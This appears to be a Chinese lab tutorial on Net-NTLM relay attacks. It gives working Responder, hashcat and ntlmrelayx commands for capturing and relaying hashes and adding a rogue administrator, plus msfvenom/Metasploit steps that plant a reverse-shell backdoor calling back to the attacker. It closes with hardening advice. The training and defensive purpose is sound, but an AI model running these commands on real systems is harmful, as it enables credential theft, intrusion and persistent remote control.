NET-NTLM-relay攻击
安全声明
本实验仅用于内网安全学习、网络安全攻防实训,严禁在未授权的企业、个人、公网设备上实施此类攻击,私自对他人服务器、电脑进行 NTLM 中继攻击、窃取 Hash、植入木马属于违法犯罪行为。
一、实验基础信息
1. 实验目的
- 掌握 Net-NTLM Hash 字段组成、NTLM 认证全过程;
- 理解 LLMNR/NBT-NS 投毒、NTLM Relay 中继攻击原理;
- 熟练使用 Responder、hashcat、ntlmrelayx、MSF 全套攻击工具;
- 掌握 NTLM 漏洞对应的危害、防御加固方案。
2. 实验环境
表格
| 设备 | 系统 | IP | 角色 |
|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.5.128 | 劫持、抓 Hash、中继、木马生成监听 |
| 客户端 | Windows 7 | 192.168.5.129 | 被投毒,主动泄露 NTLMv2 Hash |
| 靶机服务器 | Windows Server 2012 | 192.168.5.130 | 中继攻击目标,关闭 SMB 签名存在漏洞 |
网络:三台设备同局域网,无防火墙拦截 LLMNR、SMB (445)、HTTP (80) 端口
3. 工具用处总览
- Responder:劫持局域网 LLMNR/NBT-NS 解析请求,诱导 Windows 主机主动上传 Net-NTLMv2 哈希;
- hashcat:使用字典暴力破解捕获的 NTLM 哈希,还原账户明文密码;
- ntlmrelayx.py(Impacket):NTLM 中继工具,转发窃取到的合法凭证,在靶机执行命令、上传木马;
- msfvenom:生成 Windows 反向远控木马;
- msfconsole handler:监听木马回连,获取靶机 Meterpreter 最高权限。
4. 漏洞整体危害
- 内网攻击者无需密码,即可劫持内网主机 NTLM 认证凭证;
- 哈希可被暴力破解,直接拿到管理员明文账号密码;
- 目标服务器关闭 SMB 签名时,可中继凭证横向移动,接管域内服务器;
- 可远程新增管理员账号、植入后门木马,实现长期持久控制;
- 企业内网一旦沦陷,可批量窃取服务器业务数据、勒索、破坏系统。
二、步骤
实验 1:Responder 抓取 Win7 Net-NTLMv2 Hash
操作 1.1 Kali 查看网卡,启动 Responder 劫持工具
操作步骤
- 输入
ip a查看网卡,确认 eth0 内网 IP 为 192.168.5.128; - 执行命令:
sudo responder -I eth0 -d -v-I eth0:绑定内网网卡;-d:开启 LLMNR/NBT-NS/MDNS 投毒;-v:输出详细日志,实时查看抓 Hash 过程。
图片注解:界面打印 Responder 启动 LOGO,代表劫持服务成功运行,持续监听局域网内名称解析流量。
操作 1.2 Win7 客户端触发解析请求
操作步骤
- Win7 按下快捷键
Win+R打开运行窗口; - 输入
\\192.168.5.128,点击确定。
图片注解:Windows 访问不存在的 SMB 共享,会自动发起 LLMNR 名称解析,Responder 伪造应答,强制客户端提交 NTLM 身份凭证。
操作 1.3 Kali 捕获完整 NTLMv2 Hash
操作步骤:等待 Win7 访问后,Responder 自动输出完整哈希字符串。
图片注解
NTLMv2-SSP Client:泄露 Hash 的 Win7 客户端 IP;NTLMv2-SSP Username:本地管理员账户 Administrator;NTLMv2 Hash:可用于爆破的完整哈希值,格式适配 hashcat -m 5600。
操作 1.4 解压字典,将 Hash 写入爆破文件
操作步骤
- 解压内置字典:
gunzip /usr/share/wordlists/rockyou.txt.gz,提示重复输入 y 覆盖; echo "复制捕获的完整Hash" > hash.txt,把哈希存入文件。
图片注解:两条命令分别完成字典解压、哈希文件生成,为后续 hashcat 爆破做准备。
实验 2:hashcat 爆破 NTLM 哈希,还原明文密码
操作 2.1 执行 hashcat 爆破命令
操作步骤执行爆破命令:
bash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force参数说明:
-m 5600:指定哈希类型为 NetNTLMv2;--force:忽略硬件驱动警告,强制运行。
图片注解:加载显卡、哈希、字典资源,初始化爆破内核,准备开始字典比对。
操作 2.2 查看爆破结束结果
操作步骤:等待工具跑完全部字典,查看结果。
图片注解
Status: Exhausted:字典全部遍历完毕;Recovered:0/1:当前 rockyou 字典未匹配到明文密码,可更换更大字典二次爆破;- 记录爆破时长、运算速度、硬件占用。
实验 3:Windows Server2012 关闭 SMB 签名(漏洞前置条件)
操作步骤
- 右键 CMD,选择【以管理员身份运行】;
- 依次输入 4 条注册表命令关闭 SMB 签名:
cmd
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v EnableSecuritySignature /t REG_DWORD /d 0 /f reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v EnableSecuritySignature /t REG_DWORD /d 0 /f reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /fshutdown /r /t 0立即重启服务器生效。图片注解:4 条注册表命令关闭客户端、服务端 SMB 签名校验;关闭后 NTLM 中继攻击才能成功转发凭证,是本漏洞核心前提。
关闭 SMB 签名的危害服务器失去 SMB 数据包签名校验,攻击者转发伪造的 NTLM 认证数据包不会被拦截,直接通过服务器身份验证,非法获取管理员权限。
实验 4:ntlmrelayx 中继攻击,新增管理员账号控制靶机
操作 4.1 清理端口占用,启动中继脚本 ntlmrelayx.py
操作步骤
- 清理占用 80/445 端口进程,避免冲突:
bash
pkill -f responder pkill -f ntlmrelayx pkill -f apache2 netstat -tulnp | grep -E '445|80'- 启动中继攻击命令(新建管理员账号 hack):
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -smb2support -t 192.168.5.130 -c "net user hack 123456 /add && net localgroup administrators hack /add" 参数:
-t指定靶机 Server2012 IP;-c中继成功后在靶机执行创建管理员账户命令。图片注解:脚本加载 SMB、HTTP、WINRM 服务,开启监听等待 Win7 客户端的 NTLM 凭证。
操作 4.2 新开终端启动 Responder 劫持流量
操作步骤:新建 Kali 终端,执行sudo responder -I eth0 -v。图片注解:中继工具与 Responder 必须分两个终端运行;Responder 负责劫持 Win7 解析请求,将认证流量转发给 ntlmrelayx 完成中继。
操作 4.3 Win7 再次触发访问,完成凭证转发
操作步骤:重复 Win7Win+R输入\\192.168.5.128访问。
图片注解:Windows 再次发起名称解析,Responder 劫持并转发 NTLM 管理员凭证至靶机服务器。
操作 4.4 中继执行命令成功,获取服务器权限
操作步骤:无需额外操作,等待中继脚本执行命令。
实验 5:MSF 生成木马,中继上传后门实现持久远控
操作 5.1 生成反向木马、启动 MSF 监听、启动带上传功能的中继
操作步骤
- 生成 Windows 反向木马:
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.128 LPORT=4444 -f exe -o backdoor.exe- 打开 msfconsole 配置监听:
bash
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.5.128 set LPORT 4444 run- 另起终端启动可上传木马的中继:
bash
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -smb2support -remove-mic -t 192.168.5.130 -e backdoor.exe-e参数:中继成功后自动上传并执行 exe 木马。
图片注解:依次完成木马生成、MSF 监听部署、带文件上传功能的中继启动,三层工具配合完成远控攻击。
操作 5.2 中继上传木马、注册系统服务完整攻击日志
操作步骤:Win7 再次访问\\192.168.5.128触发劫持,自动上传并运行后门。图片注解攻击流程:
- 接收 Win7 连接,NTLM 凭证中继校验通过;
- 自动上传后门 exe 到靶机临时目录;
- 创建自定义 Windows 系统服务,注册后门程序;
- 启动服务执行木马,自动删除木马文件清除痕迹;
- 木马反向连接 Kali 的 MSF 监听,获取 Meterpreter 最高交互式权限。
三、常见故障及解决方案
- 故障 1:Address already in use 端口占用,Win7 访问提示无法访问
- 原因:Responder、ntlmrelayx、apache2 抢占 80/445 端口;
- 解决:攻击前批量 kill 相关进程,先启动 ntlmrelayx,再新开终端运行 Responder。
- 故障 2:木马上传、服务创建成功,但 MSF 无会话上线
- 原因:MSF 监听与中继脚本共用终端中断、木马 LHOST/LPORT 配置错误、防火墙拦截;
- 解决:终端 1 常驻 MSF 监听,终端 2 单独运行中继;核对木马 IP 端口;关闭 Kali 防火墙放行 4444 端口。
四、NTLM Relay 漏洞防御策略
1. 强制开启 SMB 签名(核心防御)
所有 Windows 服务器、域控组策略强制启用 SMB 签名,阻断中继转发伪造数据包:
- 组策略路径:计算机配置 - 安全设置 - 本地策略 - 安全选项;
- 启用两条策略:
- 服务器:启用 SMB 服务器数字签名;
- 客户端:启用 SMB 客户端数字签名;
- 注册表永久加固(批量部署):
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f2. 禁用 LLMNR、NBT-NS 名称解析(阻断投毒源头)
- 组策略关闭 LLMNR:计算机配置 - 网络 - DNS 客户端,关闭 “启用 LLMNR”;
- 禁用 TCP/IP 上的 NetBIOS,彻底关闭 NBT-NS 协议;
- 内网部署 DNS 服务器,统一域名解析,消除广播解析漏洞。
3. 账户安全加固
- 管理员账户设置高强度复杂密码,定期更换;
- 限制本地管理员权限,普通员工禁止本地管理员权限;
- 开启账户锁定策略,防止 Hash 暴力破解。
4. 内网网络防护
- 内网划分 VLAN,隔离办公终端与业务服务器;
- 防火墙拦截内网不必要的 SMB 445 端口横向访问;
- 部署 EDR 终端检测工具,监控异常 SMB 连接、陌生系统服务、未知 exe 程序自启动。
5. 系统补丁更新
及时安装 Windows 对应 NTLM 协议安全补丁,关闭 MIC 校验绕过漏洞